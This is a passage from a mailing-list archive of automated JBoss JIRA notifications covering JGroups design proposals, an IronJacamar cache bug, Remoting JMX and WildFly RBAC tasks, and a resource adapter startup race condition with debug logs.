References: <JIRA.12364518.1217507249000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12364518.1217507249000.25417.1379075163685@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-809?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-809:
--------------------------

    Fix Version/s: 4.0
                       (was: 3.5)

    
> Copyless stack
> --------------
>
>                 Key: JGRP-809
>                 URL: https://issues.jboss.org/browse/JGRP-809
>             Project: JGroups
>          Issue Type: Feature Request
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 4.0
>
>
> Currently (as of 2.7), the transport reads the contents of a received packet into a buffer, then passes a *copy* of the buffer to a thread from the OOB or incoming thread pools. To prevent this copy, we can
> - have the receiver read only the version and OOB flag (to see which thread pool to dispatch the packet to)
> - pass a ref to the socket to a thread from the incoming of OOB pool, have that thread read the packet and return
> - each thread in the pool has its own buffer into which the buffer is read from the socket
> Possibly use NIO: we can install a selector and get woken up whenever data to be read is present. At that point, we can pass the ref to the socket to the handler thread and return immediately. NIO with channels for multicast sockets is available only in JDK 7 (or 8?), so this is a bit off... However, we can already implement this with reading the version and flags bytes and then passing the socket to the handler

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 08:26:04 2013
From: jira-events at lists.jboss.org (Jesper Pedersen (JIRA))
Date: Fri, 13 Sep 2013 08:26:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1083) PreparedStatement cache
 constraints not maintained
In-Reply-To: <JIRA.12500678.1379075076529@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500678.1379075076529@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500678.1379075076529.25425.1379075163999@jira02.app.mwc.hst.phx2.redhat.com>

Jesper Pedersen created JBJCA-1083:
--------------------------------------

             Summary: PreparedStatement cache constraints not maintained
                 Key: JBJCA-1083
                 URL: https://issues.jboss.org/browse/JBJCA-1083
             Project: IronJacamar
          Issue Type: Bug
          Components: JDBC
    Affects Versions: 1.1.0.Final, 1.0.20.Final
            Reporter: Jesper Pedersen
            Assignee: Jesper Pedersen
            Priority: Critical
             Fix For: 1.0.21.Final, 1.1.1.Final


The PreparedStatement cache doesn't maintain its constraint on the number of cached entries

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 08:26:04 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 13 Sep 2013 08:26:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1507) MFC2: multicast flow control
In-Reply-To: <JIRA.12473640.1346760591000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12473640.1346760591000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12473640.1346760591000.25429.1379075164171@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1507?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1507:
---------------------------

    Fix Version/s: 3.5
                       (was: 3.4)

    
> MFC2: multicast flow control
> ----------------------------
>
>                 Key: JGRP-1507
>                 URL: https://issues.jboss.org/browse/JGRP-1507
>             Project: JGroups
>          Issue Type: Feature Request
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.5
>
>         Attachments: Design.pdf
>
>
> The current flow control protocol (MFC) is slowing things down when we have high traffic in multicast networks (UDP based stack), especially when ethernet flow control (802.3) is disabled.
> One reason is that the number of credits (similar to the window size in TCP) is static, and doesn't change. E.g. it doesn't increase when there's no loss and doesn't shrink when there is loss. 
> (This will be addressed by a different JIRA later)
> Another reason is that sender credits are currently only used up when *sending* messages, but not when *receiving* messages. Thus, if we have 50MB of credits, a sender A can send 50MB until A blocks. However, when it receives 20MB of traffic from B while it sends the 50MB, it doesn't take the 20MBs into account.
> Therefore, a receiver S can be overwhelmed by receiving both A's and B's traffic (the switch might even start discarding messages before they reach S).
> The change from MFC to MFC2 is that a sender only maintains 1 'credits' counter (number of bytes): whenever it sends a message, it decrements credits. Whenever it receives traffic from someone else, it also decrements credits. When credits is 0, the sender blocks (asking for more credits). When credits drops below a certain threshold, it multicasts 1/N of the max credits (N = number of cluster members). (TBD: perhaps it should mcast a fixed number, independent of the cluster size).
> The advantage of this scheme is that a sender blocks sooner, and not when it's too late (congestion).
> Example:
> - credits = 100MB
> - Concurrently: A sends 50MB, B sends 30MB and C sends 60MB
> - At time T1, A has sent 20MB, and we've already received 10MB from B and 20 from C, credits is now 50MB
> - At time T2, A sent another 20MB, and received 20MB from C. credits is now 10MB, and A multicasts 35MB (rounded)
> - At T3, A receives another 10MB from B, credits=0
> - At T4, A blocks trying to send its remaining 10MBs, as credits = 0
> - At T5, A receives its 35MB of credits and sends its remaining 10MB, and also receives 20MB from C, and the remaining 10MB from B. credits is now -5 and A would block sending more credits
> - At T6, A multicasts 35MBs of credits
> - At T7, A receives 35MB of credits from B and C, credits= ca 65MB
> - At T8, A receives its own 35MBs of credits, credits=~100MB

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 08:26:04 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 13 Sep 2013 08:26:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1352) StreamingStateTransfer: queue
 requests during state transfer
In-Reply-To: <JIRA.12444646.1313389078000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12444646.1313389078000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12444646.1313389078000.25431.1379075164240@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1352?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1352:
---------------------------

    Fix Version/s: 3.5
                       (was: 3.4)

    
> StreamingStateTransfer: queue requests during state transfer
> ------------------------------------------------------------
>
>                 Key: JGRP-1352
>                 URL: https://issues.jboss.org/browse/JGRP-1352
>             Project: JGroups
>          Issue Type: Feature Request
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.5
>
>
> STATE should queue requests to be delivered to the application while a state transfer is in progress.
> Draft design:
> * MessageQueue: queue for application messages
> * STATE-REQ queue: queue for STATE-REQ requests
> * On STATE-REQ:
> ** If busy --> add request to STATE-REQ queue, return
> ** Else --> processRequest
> ** Close MessageQueue and deliver all messages in it to the application
> *** Regular message deliver needs to be blocked until all messages from the MessageQueue have been delivered
> ** Kick off a STABLE round, wait until it completes
> ** If STATE-REQ queue is not empty --> processRequests()
> * processRequest():
> ** Close BARRIER, suspend STABLE
> ** Get digest
> ** Open MessageQueue: all new messages (MSG) will be queued now, rather than delivered to the application
> *** (Only MSG, not VIEW !)
> ** Open BARRIER (leave STABLE suspended !)
> ** Transfer state to state requester
> ** Resume STABLE
> Advantages:
>   - The state provider is not blocked, e.g. to handle JOIN requests
>   - Only the state *requester* is blocked, this is OK though
>   - Between the state requests, the state provider gets a little breathing room to process
>     queued-up messages, and to purge messages (through stability)
> - Disadvantages:
>   - If *blocking* messages (e.g. RPCs) are queued, we won't be able to send responses back until the queue is drained
> Misc:
>  - Should the MessageQueue use the disk to handle large message sets ?
>  - If modifications are idempotent, we *don't* need to queue messages (make this configurable !)
>    (for example Infinispan ?)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 08:28:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Fri, 13 Sep 2013 08:28:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1694) Testsuite: move FLUSH tests
 into their own test group
In-Reply-To: <JIRA.12500667.1379062995000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500667.1379062995000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500667.1379062995000.25434.1379075283356@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1694?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1694:
---------------------------

    Fix Version/s: 3.5
                       (was: 3.4)

    
> Testsuite: move FLUSH tests into their own test group
> -----------------------------------------------------
>
>                 Key: JGRP-1694
>                 URL: https://issues.jboss.org/browse/JGRP-1694
>             Project: JGroups
>          Issue Type: Task
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>            Priority: Minor
>             Fix For: 3.5
>
>
> Currently, we're running udp, tcp, udp-flush and tcp-flush tests, so effectively we're running the udp and tcp tests twice; once without and once with FLUSH.
> To reduce the time to run the testsuite, create a new test group "flush" and move all tests that are about FLUSH to it. Use SHARED_LOOPBACK as transport, so we're not dependent on either udp or tcp.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 08:39:03 2013
From: jira-events at lists.jboss.org (Jesper Pedersen (JIRA))
Date: Fri, 13 Sep 2013 08:39:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBJCA-1083) PreparedStatement cache
 constraints not maintained
In-Reply-To: <JIRA.12500678.1379075076000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500678.1379075076000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500678.1379075076000.25457.1379075943415@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBJCA-1083?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jesper Pedersen resolved JBJCA-1083.
------------------------------------

    Resolution: Done

    
> PreparedStatement cache constraints not maintained
> --------------------------------------------------
>
>                 Key: JBJCA-1083
>                 URL: https://issues.jboss.org/browse/JBJCA-1083
>             Project: IronJacamar
>          Issue Type: Bug
>          Components: JDBC
>    Affects Versions: 1.0.20.Final, 1.1.0.Final
>            Reporter: Jesper Pedersen
>            Assignee: Jesper Pedersen
>            Priority: Critical
>             Fix For: 1.0.21.Final, 1.1.1.Final
>
>
> The PreparedStatement cache doesn't maintain its constraint on the number of cached entries

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 08:41:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Fri, 13 Sep 2013 08:41:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2066) Upgrade to Remoting JMX
	2.0.0.CR2
In-Reply-To: <JIRA.12500679.1379075995737@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500679.1379075995737@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500679.1379075995737.25460.1379076063455@jira02.app.mwc.hst.phx2.redhat.com>

Darran Lofthouse created WFLY-2066:
--------------------------------------

             Summary: Upgrade to Remoting JMX 2.0.0.CR2
                 Key: WFLY-2066
                 URL: https://issues.jboss.org/browse/WFLY-2066
             Project: WildFly
          Issue Type: Task
          Components: JMX, Remoting
            Reporter: Darran Lofthouse
            Assignee: Darran Lofthouse
            Priority: Critical




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 08:41:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Fri, 13 Sep 2013 08:41:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2066) Upgrade to Remoting JMX
	2.0.0.CR2
In-Reply-To: <JIRA.12500679.1379075995000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500679.1379075995000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500679.1379075995000.25463.1379076063723@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2066?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated WFLY-2066:
-----------------------------------

        Parent: WFLY-490
    Issue Type: Sub-task  (was: Task)

    
> Upgrade to Remoting JMX 2.0.0.CR2
> ---------------------------------
>
>                 Key: WFLY-2066
>                 URL: https://issues.jboss.org/browse/WFLY-2066
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: JMX, Remoting
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>            Priority: Critical
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 08:49:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Fri, 13 Sep 2013 08:49:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-69) ServerProxy's internal calls
 to MBeanServer.getClassLoader(For)() should be in a privileged block
In-Reply-To: <JIRA.12500626.1378998249000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500626.1378998249000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500626.1378998249000.25470.1379076543940@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/REMJMX-69?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse updated REMJMX-69:
-----------------------------------

    Fix Version/s: 1.1.1.CR3

    
> ServerProxy's internal calls to MBeanServer.getClassLoader(For)() should be in a privileged block
> -------------------------------------------------------------------------------------------------
>
>                 Key: REMJMX-69
>                 URL: https://issues.jboss.org/browse/REMJMX-69
>             Project: Remoting JMX
>          Issue Type: Feature Request
>    Affects Versions: 2.0.0.CR1
>            Reporter: Kabir Khan
>            Assignee: Darran Lofthouse
>             Fix For: 1.1.1.CR3, 2.0.0.CR2
>
>
> SetAttribute(s)Handler, InvokeHandler and CreateMBeanHandler call MBeanServer.getClassLoader() and MBeanServer.getClassLoaderFor() to set the correct classloder before invoking the 'real' methods on the MBeanServer. For WildFly's rbac implementation, these getClassLoader(For) methods are very strict only allowing superuser or administrator to call them. Since the function of these calls is internal for setAttribute(s), invoke, createMBean() the subject should be cleared, allowing them to be called in this 'internal' fashion. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 08:51:03 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Fri, 13 Sep 2013 08:51:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-70) Release Remoting JMX 2.0.0.CR2
In-Reply-To: <JIRA.12500681.1379076662638@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500681.1379076662638@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500681.1379076662638.25473.1379076663368@jira02.app.mwc.hst.phx2.redhat.com>

Darran Lofthouse created REMJMX-70:
--------------------------------------

             Summary: Release Remoting JMX 2.0.0.CR2
                 Key: REMJMX-70
                 URL: https://issues.jboss.org/browse/REMJMX-70
             Project: Remoting JMX
          Issue Type: Task
          Components: Build
            Reporter: Darran Lofthouse
            Assignee: Darran Lofthouse
             Fix For: 2.0.0.CR2




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 09:01:05 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Fri, 13 Sep 2013 09:01:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-68) ClientConnection should
 propagate JMRuntimeException
In-Reply-To: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500534.1378918883000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500534.1378918883000.25483.1379077265728@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/REMJMX-68?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse resolved REMJMX-68.
------------------------------------

    Resolution: Done

    
> ClientConnection should propagate JMRuntimeException
> ----------------------------------------------------
>
>                 Key: REMJMX-68
>                 URL: https://issues.jboss.org/browse/REMJMX-68
>             Project: Remoting JMX
>          Issue Type: Feature Request
>    Affects Versions: 2.0.0.CR1
>            Reporter: Kabir Khan
>            Assignee: Darran Lofthouse
>             Fix For: 1.1.1.CR3, 2.0.0.CR2
>
>
> It currently wraps these in an IOException. JMX Rbac uses RuntimeMBeanException for authorization failures.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 09:01:06 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Fri, 13 Sep 2013 09:01:06 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-69) ServerProxy's internal calls
 to MBeanServer.getClassLoader(For)() should be in a privileged block
In-Reply-To: <JIRA.12500626.1378998249000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500626.1378998249000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500626.1378998249000.25487.1379077266120@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/REMJMX-69?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse resolved REMJMX-69.
------------------------------------

    Resolution: Done

    
> ServerProxy's internal calls to MBeanServer.getClassLoader(For)() should be in a privileged block
> -------------------------------------------------------------------------------------------------
>
>                 Key: REMJMX-69
>                 URL: https://issues.jboss.org/browse/REMJMX-69
>             Project: Remoting JMX
>          Issue Type: Feature Request
>    Affects Versions: 2.0.0.CR1
>            Reporter: Kabir Khan
>            Assignee: Darran Lofthouse
>             Fix For: 1.1.1.CR3, 2.0.0.CR2
>
>
> SetAttribute(s)Handler, InvokeHandler and CreateMBeanHandler call MBeanServer.getClassLoader() and MBeanServer.getClassLoaderFor() to set the correct classloder before invoking the 'real' methods on the MBeanServer. For WildFly's rbac implementation, these getClassLoader(For) methods are very strict only allowing superuser or administrator to call them. Since the function of these calls is internal for setAttribute(s), invoke, createMBean() the subject should be cleared, allowing them to be called in this 'internal' fashion. 

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 09:01:06 2013
From: jira-events at lists.jboss.org (Darran Lofthouse (JIRA))
Date: Fri, 13 Sep 2013 09:01:06 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (REMJMX-70) Release Remoting JMX 2.0.0.CR2
In-Reply-To: <JIRA.12500681.1379076662000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500681.1379076662000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500681.1379076662000.25490.1379077266251@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/REMJMX-70?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Darran Lofthouse resolved REMJMX-70.
------------------------------------

    Resolution: Done

    
> Release Remoting JMX 2.0.0.CR2
> ------------------------------
>
>                 Key: REMJMX-70
>                 URL: https://issues.jboss.org/browse/REMJMX-70
>             Project: Remoting JMX
>          Issue Type: Task
>          Components: Build
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>             Fix For: 2.0.0.CR2
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 09:07:03 2013
From: jira-events at lists.jboss.org (Ladislav Thon (JIRA))
Date: Fri, 13 Sep 2013 09:07:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2063) Remove support for
 use-realm-roles in role mapping implementation, 
In-Reply-To: <JIRA.12500672.1379064239000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500672.1379064239000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500672.1379064239000.25507.1379077623833@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2063?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804161#comment-12804161 ] 

Ladislav Thon commented on WFLY-2063:
-------------------------------------

I've already adjusted the one integration test that uses the feature: https://github.com/bstansberry/wildfly/pull/35
                
> Remove support for use-realm-roles in role mapping implementation,
> ------------------------------------------------------------------
>
>                 Key: WFLY-2063
>                 URL: https://issues.jboss.org/browse/WFLY-2063
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management, Security
>            Reporter: Darran Lofthouse
>            Assignee: Darran Lofthouse
>            Priority: Critical
>             Fix For: 8.0.0.Beta1
>
>
> Is has been agreed that where the realms used for authentication and the loading of groups contain groups with the same names as the role names that a 1:1 role mapping should still be defined rather than providing a general short cut: -
> {code}
>                 <role name="Monitor">
>                     <include>
>                         <group name="Monitor"/>
>                     </include>
>                 </role>
> {code}
> Only the configuration to enable the short cut is to be removed, the internal implementation will be left in place in-case demand is identified to re-add it.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 09:11:03 2013
From: jira-events at lists.jboss.org (Jesper Pedersen (JIRA))
Date: Fri, 13 Sep 2013 09:11:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1701) Race condition during server
 start-up - RA not deployed
In-Reply-To: <JIRA.12496518.1373960788000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496518.1373960788000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496518.1373960788000.25523.1379077863822@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1701?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Jesper Pedersen updated WFLY-1701:
----------------------------------

    Fix Version/s: 8.0.0.CR1

    
> Race condition during server start-up - RA not deployed
> -------------------------------------------------------
>
>                 Key: WFLY-1701
>                 URL: https://issues.jboss.org/browse/WFLY-1701
>             Project: WildFly
>          Issue Type: Bug
>          Components: JCA
>    Affects Versions: 8.0.0.Alpha2
>         Environment: JBoss EAP 6.1, MS Windows server 
>            Reporter: Tom Ross
>            Assignee: Stefano Maestri
>             Fix For: 8.0.0.CR1
>
>
> A custom RA is not being deployed every during server restart even though it is linked to a MDB via @ResourceAdpater annotation. This only happens during server startup. The RA can be deployed successfully via jboss cli every time. When the deployment fails the following message appear in the log file:
> 11:30:45,303 INFO  [org.jboss.as.controller] (Controller Boot Thread) JBAS014774: Service status report
> JBAS014775:    New missing/unsatisfied dependencies:
>       service jboss.ra.cdd-ra (missing) dependents: [service jboss.deployment.unit."dmgapp.jar".component.CddListenerClientMDB.CREATE] 
> When comparing the log file from a successful startup with one from a failed one the only difference seems to be the absence of any output from RaXmlDeployer. See below:
> Successful startup:
> {noformat}
> 11:29:24,991 DEBUG [org.jboss.as.connector.logging] (MSC service thread 1-6) starting Inactive:InactiveResourceAdapterDeployment{module=Module "deployment.cdd-ra.rar:main" from Service Module Loader, connectorXmlDescriptor=org.jboss.as.connector.metadata.xmldescriptors.ConnectorXmlDescriptor at 23322e4, deployment='cdd-ra', deploymentUnitName='cdd-ra.rar', registration=org.jboss.as.controller.registry.ConcreteResourceRegistration at 6b37a7dc, serviceTarget=org.jboss.msc.service.ServiceControllerImpl$ChildServiceTarget at 12ed9382}
> 11:29:24,991 DEBUG [org.jboss.as.connector.deployment] (MSC service thread 1-6) DEPLOYMENT name = cdd-ra
> 11:29:24,994 TRACE [org.jboss.as.connector.deployers.RADeployer] (MSC service thread 1-6) Connector=<?xml version="1.0" encoding="UTF-8"?><connector version="1.5"><display-name>DMG CDD Resource Adapter</display-name><vendor-name>Cassidian</vendor-name><eis-type>CDD Server</eis-type><resourceadapter-version>1.0</resourceadapter-version><resourceadapter><resourceadapter-class>com.xx-yy.dmg.jca.eis.CddResourceAdapter</resourceadapter-class><outbound-resourceadapter><connection-definition><managedconnectionfactory-class>com.xx-yy.dmg.jca.eis.CddManagedConnectionFactory</managedconnectionfactory-class><config-property><config-property-name>hostname</config-property-name><config-property-type>java.lang.String</config-property-type></config-property><config-property><config-property-name>port</config-property-name><config-property-type>java.lang.Integer</config-property-type></config-property><config-property><config-property-name>timeout</config-property-name><config-property-type>java.lang.Integer</config-property-type></config-property><config-property><config-property-name>probeTimeout</config-property-name><config-property-type>java.lang.Integer</config-property-type></config-property><connectionfactory-interface>javax.resource.cci.ConnectionFactory</connectionfactory-interface><connectionfactory-impl-class>com.xx-yy.dmg.jca.eis.CddConnectionFactory</connectionfactory-impl-class><connection-interface>javax.resource.cci.Connection</connection-interface><connection-impl-class>com.xx-yy.dmg.jca.eis.CddConnectionImpl</connection-impl-class></connection-definition><transaction-support>NoTransaction</transaction-support><reauthentication-support>false</reauthentication-support></outbound-resourceadapter><inbound-resourceadapter><messageadapter><messagelistener><messagelistener-type>javax.resource.cci.MessageListener</messagelistener-type><activationspec><activationspec-class>com.xx-yy.dmg.jca.eis.CddActivationSpec</activationspec-class><required-config-property><config-property-name>hostname</config-property-name></required-config-property><required-config-property><config-property-name>port</config-property-name></required-config-property><required-config-property><config-property-name>timeout</config-property-name></required-config-property></activationspec></messagelistener></messageadapter></inbound-resourceadapter></resourceadapter></connector>
> 11:29:24,995 TRACE [org.jboss.as.connector.deployers.RADeployer] (MSC service thread 1-6) IronJacamar=null
> 11:29:24,996 TRACE [org.jboss.as.connector.deployers.RADeployer] (MSC service thread 1-6) RaXML=null
> 11:29:24,996 TRACE [org.jboss.as.connector.deployers.RADeployer] (MSC service thread 1-6) ActivateDeployment=false
> 11:29:24,998 DEBUG [org.jboss.as.connector.deployers.RADeployer] (MSC service thread 1-6) CdMeta: <connection-definition><managedconnectionfactory-class>com.xx-yy.dmg.jca.eis.CddManagedConnectionFactory</managedconnectionfactory-class><config-property><config-property-name>hostname</config-property-name><config-property-type>java.lang.String</config-property-type></config-property><config-property><config-property-name>port</config-property-name><config-property-type>java.lang.Integer</config-property-type></config-property><config-property><config-property-name>timeout</config-property-name><config-property-type>java.lang.Integer</config-property-type></config-property><config-property><config-property-name>probeTimeout</config-property-name><config-property-type>java.lang.Integer</config-property-type></config-property><connectionfactory-interface>javax.resource.cci.ConnectionFactory</connectionfactory-interface><connectionfactory-impl-class>com.xx-yy.dmg.jca.eis.CddConnectionFactory</connectionfactory-impl-class><connection-interface>javax.resource.cci.Connection</connection-interface><connection-impl-class>com.xx-yy.dmg.jca.eis.CddConnectionImpl</connection-impl-class></connection-definition>
> 11:29:25,000 DEBUG [org.jboss.as.connector.deployers.RADeployer] (MSC service thread 1-6) No activation: com.xx-yy.dmg.jca.eis.CddManagedConnectionFactory
> 11:29:25,001 DEBUG [org.jboss.as.connector.deployment] (MSC service thread 1-6) Registering ResourceAdapter cdd-ra
> 11:29:25,005 DEBUG [org.jboss.as.connector.deployers.RADeployer] (MSC service thread 1-6) Activated: file:/C:/jboss-eap-6.1_test/standalone/tmp/vfs/temp7ab26b3b80d7102a/cdd-ra.rar-eb8a8dd4a3f65805/contents/
> 11:29:25,005 DEBUG [org.jboss.as.connector.deployment] (MSC service thread 1-6) Not activating: cdd-ra
> 11:29:25,009 TRACE [org.jboss.as.connector.deployers.RaXmlDeployer] (MSC service thread 1-6) Connector=<?xml version="1.0" encoding="UTF-8"?><connector version="1.5"><display-name>DMG CDD Resource Adapter</display-name><vendor-name>Cassidian</vendor-name><eis-type>CDD Server</eis-type><resourceadapter-version>1.0</resourceadapter-version><resourceadapter><resourceadapter-class>com.xx-yy.dmg.jca.eis.CddResourceAdapter</resourceadapter-class><outbound-resourceadapter><connection-definition><managedconnectionfactory-class>com.xx-yy.dmg.jca.eis.CddManagedConnectionFactory</managedconnectionfactory-class><config-property><config-property-name>hostname</config-property-name><config-property-type>java.lang.String</config-property-type></config-property><config-property><config-property-name>port</config-property-name><config-property-type>java.lang.Integer</config-property-type></config-property><config-property><config-property-name>timeout</config-property-name><config-property-type>java.lang.Integer</config-property-type></config-property><config-property><config-property-name>probeTimeout</config-property-name><config-property-type>java.lang.Integer</config-property-type></config-property><connectionfactory-interface>javax.resource.cci.ConnectionFactory</connectionfactory-interface><connectionfactory-impl-class>com.xx-yy.dmg.jca.eis.CddConnectionFactory</connectionfactory-impl-class><connection-interface>javax.resource.cci.Connection</connection-interface><connection-impl-class>com.xx-yy.dmg.jca.eis.CddConnectionImpl</connection-impl-class></connection-definition><transaction-support>NoTransaction</transaction-support><reauthentication-support>false</reauthentication-support></outbound-resourceadapter><inbound-resourceadapter><messageadapter><messagelistener><messagelistener-type>javax.resource.cci.MessageListener</messagelistener-type><activations